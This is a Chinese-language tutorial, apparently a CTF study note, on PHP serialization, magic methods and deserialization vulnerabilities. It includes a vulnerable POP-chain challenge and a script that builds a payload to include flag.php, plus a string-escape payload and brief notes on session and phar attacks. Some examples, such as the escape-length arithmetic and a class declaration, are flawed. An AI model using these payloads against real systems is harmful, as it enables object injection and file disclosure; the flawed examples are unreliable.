PHP反序列化

以下是 PHP 中序列化(Serialization)与反序列化(Unserialization)的基础知识总结:


1. 序列化(Serialization)

  • 定义:将数据结构或对象转换为可存储或传输的字符串格式(二进制安全)。
  • 函数serialize($data)
  • 支持类型:基本类型(intstringboolfloatnull)、数组、对象。
  • 对象序列化
    • 序列化对象时会保存类的名称、属性和值(不包括方法)。
    • 如果类定义了魔术方法 __sleep(),序列化时会自动调用该方法,可以指定需要序列化的属性列表。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class User {
public $name;
private $password;

public function __construct($name, $password) {
$this->name = $name;
$this->password = $password;
}

// 定义 __sleep() 控制序列化的属性
public function __sleep() {
return ['name']; // 只序列化 name 属性
}
}

$user = new User("Alice", "secret");
$serialized = serialize($user);
echo $serialized;
// 输出类似:O:4:"User":1:{s:4:"name";s:5:"Alice";}

2. 反序列化(Unserialization)

  • 定义:将序列化的字符串还原为原始数据结构或对象。
  • 函数unserialize($serializedStr)
  • 对象反序列化
    • 反序列化时会自动调用类的构造函数(__construct()不触发,但会调用 __wakeup() 方法(如果存在)。
    • 如果类未定义,对象会转为 __PHP_Incomplete_Class(见之前讨论)。

示例:

1
2
3
4
5
$serialized = 'O:4:"User":1:{s:4:"name";s:5:"Alice";}';
$user = unserialize($serialized);

var_dump($user);
// 输出:object(User)#2 (2) { ["name"]=> string(5) "Alice" ["password":"User":private]=> NULL }

3. 魔术方法

反序列化的底层逻辑是:① 创建空对象 → ② 填充属性 → ③ 调用魔术方法

  • **__sleep()**:

    • 在序列化之前调用,返回需要序列化的属性名数组。
    • 常用于清理敏感数据(如密码)。
  • **__wakeup()**:

    • 在反序列化之后调用,用于恢复资源连接或初始化操作。
    • 例如重新连接数据库或初始化未序列化的属性。
1
2
3
4
5
6
7
8
class User {
// ...

public function __wakeup() {
$this->password = "default"; // 重置密码
}
}

  • **__construct()**:(构造函数)

    • 执行时机:反序列化时不会触发构造函数,实例化对象时调用
    • 注意
      • 对象的构造与反序列化是两个独立的过程。
      • 若需要在反序列化后执行初始化逻辑,应使用 __wakeup()__unserialize()
  • __destruct()(析构函数)

    • 执行时机:在对象被销毁时调用(如脚本结束或手动 unset())。
      • new User() 触发
      • serialize() 不触发
      • unserialize 触发
    • 潜在风险
      • 若反序列化的对象包含恶意代码,__destruct() 可能被用于攻击(如文件删除、远程代码执行)。
    • 示例
1
2
3
4
5
6
7
class FileHandler {
private $file;

public function __destruct() {
unlink($this->file); // 反序列化后可能触发文件删除
}
}
    1. __toString() 方法
    • 执行时机
      当对象被当作字符串使用时自动触发。常见场景包括:

      • 直接 echoprint 对象。

      • 字符串拼接操作(例如 $str = "User: " . $obj;)。

      • 使用字符串函数处理对象(例如 strval($obj)(string)$obj)。

      • 在双引号字符串中直接插入对象(例如 "Info: $obj")。

    • 核心规则

      • 必须返回一个字符串,否则会抛出 TypeError 异常。
      • 如果未定义 __toString(),直接以对象作为字符串使用会触发致命错误(Object of class X could not be converted to string)。
    • 示例

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      class User {
      private $name;

      public function __construct($name) {
      $this->name = $name;
      }

      public function __toString() {
      return "User: " . $this->name;
      }
      }

      $user = new User("Alice");
      echo $user; // 输出:User: Alice
  • __invoke() 方法

  • 执行时机
    当尝试以调用函数的方式调用对象时触发。例如:

    1
    2
    3
    $obj = new MyClass();
    $obj(); // 触发 __invoke()
    $result = $obj(1, "arg"); // 传递参数
  • 核心规则

    • 可以定义参数和返回值,与普通函数一致。
    • 如果未定义 __invoke(),将抛出致命错误(Object of class X is not callable)。
  • 示例

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    class Adder {
    private $base;

    public function __construct($base) {
    $this->base = $base;
    }

    public function __invoke($x) {
    return $this->base + $x;
    }
    }

    $adder = new Adder(10);
    echo $adder(5); // 输出:15(等价于调用 $adder->__invoke(5))
  • __call()方法

    • 执行时机
      当对象调用一个不存在的方法时调用call方法
    • 核心规则
      • 参数分别为调用的不存在的函数名,和传入的参数数组
    1
    2
    3
    4
    5
    6
    7
    8
    class User(){
    public function __call($arg1, $arg2)
    {
    echo "$arg1,$arg2[0]";
    }
    }
    $test = new User();
    $test -> functionxxx('a');
  • __callStatic方法

    • 执行时机:

      和call方法类似,当调用不存在的静态方法是调用该函数。

      $test :: functionsss('a');

    • 核心规则:

  • __get方法

    • 执行时机:

      当调用一个不存在的属性时调用,参数和返回值为不存在的成员属性名称。

  • __set方法

    • 执行时机:

      当给一个不存在的属性赋值时调用,参数和返回值为不存在的成员属性名称和赋的值。

  • __isset方法

    • 执行时机:

      对不可访问属性使用isset()或empty()时__isset()会被调用,参数和返回值是调用的成员属性的名称。

  • __unset方法

    • 执行时机:

      对不可访问属性使用unset()或empty()时__unset()会被调用,参数和返回值是调用的成员属性的名称。

  • __clone方法

    • 执行时机:

      当使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()

      1
      2
      $test = new User();
      $newtest = clone($test)//新对象调用__clone()方法

4. 数组与基本类型的序列化

  • 序列化数组或基本类型时无需类定义。
  • 示例:
    1
    2
    3
    4
    5
    6
    7
    $data = [
    "key" => "value",
    "num" => 42,
    "nested" => [true, null]
    ];
    $serialized = serialize($data);
    // 输出:a:3:{s:3:"key";s:5:"value";s:3:"num";i:42;s:6:"nested";a:2:{i:0;b:1;i:1;N;}}

5.POP链构造

  • 例题
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);
class Modifier {
private $var;
public function append($value){
include ($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;

}
}

class Test{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($get){
$function = $this->p;
return $function();

}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
  • pop链构造
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
class Modifier {
private $var;

public function __construct()
{
$this->var = "flag.php";
}
}
class Show{
public $source;
public $str;
}

class Test{
public $p;
public function __construct()
{
$this->p = array();
}

}

$test = new Test();
$modifier = new Modifier();
$test->p = $modifier;
$show1 = new Show();
$show1->str = $test;
$show0 = new Show();
$show0->source = $show1;
var_dump($show0);
$a = serialize($show0);
echo $a."\n";
//O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";N;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:" Modifier var";s:8:"flag.php";}}}s:3:"str";N;}

6. 安全性问题

  • 反序列化漏洞:反序列化用户可控的字符串可能导致代码执行(例如通过 __destruct()__wakeup() 注入恶意逻辑)。
  • 防御措施
    • 避免反序列化不可信来源的数据。
    • 使用 json_encode()/json_decode() 替代(但无法处理对象)。

7. 常见用途

  1. 会话存储:PHP 默认使用序列化存储 $_SESSION 数据。
  2. 缓存:将对象缓存到文件或数据库中。
  3. 跨请求传输:通过字符串传递复杂数据。

8. 注意事项

  1. 类定义必须存在:反序列化对象时需要类已加载。
  2. 反序列化未定义类的行为
    • 当使用unserialize()反序列化一个对象时,PHP会尝试根据序列化字符串中记录的类名重建对象。
    • 如果对应的类未在当前作用域中定义(例如未通过includeautoload加载),PHP不会报错,但会将对象转换为__PHP_Incomplete_Class的实例。
    • 此时,原始类的属性、方法均无法直接访问,对象处于“不完整”状态。
  3. 性能:序列化大对象可能消耗较多资源。
  4. 版本兼容:类结构变化可能导致反序列化失败(如属性增减)。

9. PHP 反序列化中的 字符串逃逸(Serialized String Escape)

​ 是一种利用序列化字符串的格式特性,通过修改字符长度或结构来篡改反序列化结果的漏洞利用技术。常见于程序对序列化字符串进行 字符替换或过滤 后未正确处理长度字段的情况。

漏洞原理

PHP 序列化字符串的格式严格依赖 长度标注,例如 s:5:"value" 表示字符串长度为 5。若程序在处理序列化数据时 修改了原始字符(如过滤、替换、转义),但未同步更新长度字段,会导致反序列化解析器错误地读取后续内容,从而构造恶意对象。

利用步骤(以字符替换为例)

场景示例

假设程序对用户输入的序列化字符串执行以下操作:

1
2
3
// 将 'x' 替换为 'xx'(字符数量翻倍)
$data = str_replace('x', 'xx', $_GET['data']);
$obj = unserialize($data);

攻击目标

通过构造特殊输入,使反序列化后的字符串包含恶意属性或对象。

构造步骤

  1. 确定替换规则
    确认程序对序列化字符串的修改逻辑(如 x → xx)。

  2. 计算逃逸长度
    假设需要逃逸的恶意代码为 ";s:3:"age";i:200;},长度为 18 字符。
    每替换一个 x 会增加 1 个字符,因此需要构造 x 的数量 N,使得:
    替换后的逃逸字符数 = 原始逃逸字符长度
    2N = 18 → N = 9

  3. 构建恶意序列化字符串
    构造前缀部分,利用替换规则覆盖后续字段:

    1
    2
    3
    4
    // 原始输入(替换前)
    s:9:"xxxxxxxxx";s:3:"age";i:100;}
    // 替换后变为('x' → 'xx')
    s:9:"xxxxxxxxxxxxxxxxxx";s:3:"age";i:100;}

    此时,反序列化解析器会:

    • 读取 s:9:"xxxxxxxxxxxxxxxxxx"(实际长度 18,但标注为 9,导致解析错误)
    • 继续解析后续内容 s:3:"age";i:200;} 作为新字段,覆盖原有 age 值。

完整示例

漏洞代码

1
2
3
4
5
6
7
8
class User {
public $name = 'guest';
public $age = 18;
}

$data = str_replace('x', 'xx', $_GET['data']);
$obj = unserialize($data);
echo "Name: " . $obj->name . ", Age: " . $obj->age;**攻击输入**
1
2
3
4
// 原始输入(替换前)
data=O:4:"User":2:{s:4:"name";s:9:"xxxxxxxxx";s:3:"age";i:200;}
// 替换后变为
O:4:"User":2:{s:4:"name";s:9:"xxxxxxxxxxxxxxxxxx";s:3:"age";i:200;}

反序列化结果

1
2
3
4
User Object (
[name] => xxxxxxxxxxxxxxxxxx
[age] => 200 // 原 age=18 被覆盖
)

常见利用场景

  1. 属性覆盖
    通过逃逸修改对象属性值(如权限字段 is_admin)。
  2. 对象注入
    逃逸后注入新的对象,触发 __destruct()__wakeup() 等魔术方法。
  3. 类型混淆
    修改字段类型(如将字符串改为数组,绕过某些检查)。

防御措施

  1. 避免直接反序列化用户输入
    使用 json_encode/json_decode 替代。
  2. 严格校验序列化数据
    检查格式合法性,限制反序列化类白名单。
  3. 安全替换字符
    替换字符后同步更新长度字段(如 preg_replace_callback)。
  4. 禁用危险魔术方法
    避免在 __wakeup()__destruct() 中执行敏感操作。

通过字符串逃逸,攻击者可绕过正常逻辑实现数据篡改或代码执行。在 CTF 题目中,需结合替换规则和长度计算精心构造 payload。


10.字符串引用

  • 使enter的值永远等于secret的值,即使在反序列化后值发生改变,另一个值同步改变。
1
2
3
4
5
6
7
8
9
<?php
class Just4fun{
var $enter;
var $secret;
}
$a = new Just4fun();
$a->enter = &$a->secret;
echo serialize($a);
//O:8:"Just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

11.Session 反序列化

  • 利用session写入和读取的格式不同导致的反序列化漏洞
  • 利用读取时‘|’后的对象进行反序列化进行反序列化注入

12.phar文件反序列化漏洞

  • 利用读取文件函数的伪协议phar,可以解析phar文件,且解析时会对phar协议文件头中的meta-data元数据区进行反序列化获取信息。导致的反序列化漏洞。
  • 需要配合文件上传上传pahr文件,由于是伪协议读取,因此不一定需要.phar后缀。
  • 想要利用php生成phar文件需要将ini文件中设置phar.readonly=off。

完整示例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
class Product {
public $id;
public $name;

public function __construct($id, $name) {
$this->id = $id;
$this->name = $name;
}

public function __sleep() {
return ['id', 'name'];
}

public function __wakeup() {
echo "Product restored!\n";
}
}

// 序列化
$product = new Product(1, "Laptop");
$serialized = serialize($product);

// 反序列化
$restoredProduct = unserialize($serialized);
var_dump($restoredProduct);

通过掌握这些基础,可以更安全高效地利用 PHP 的序列化功能。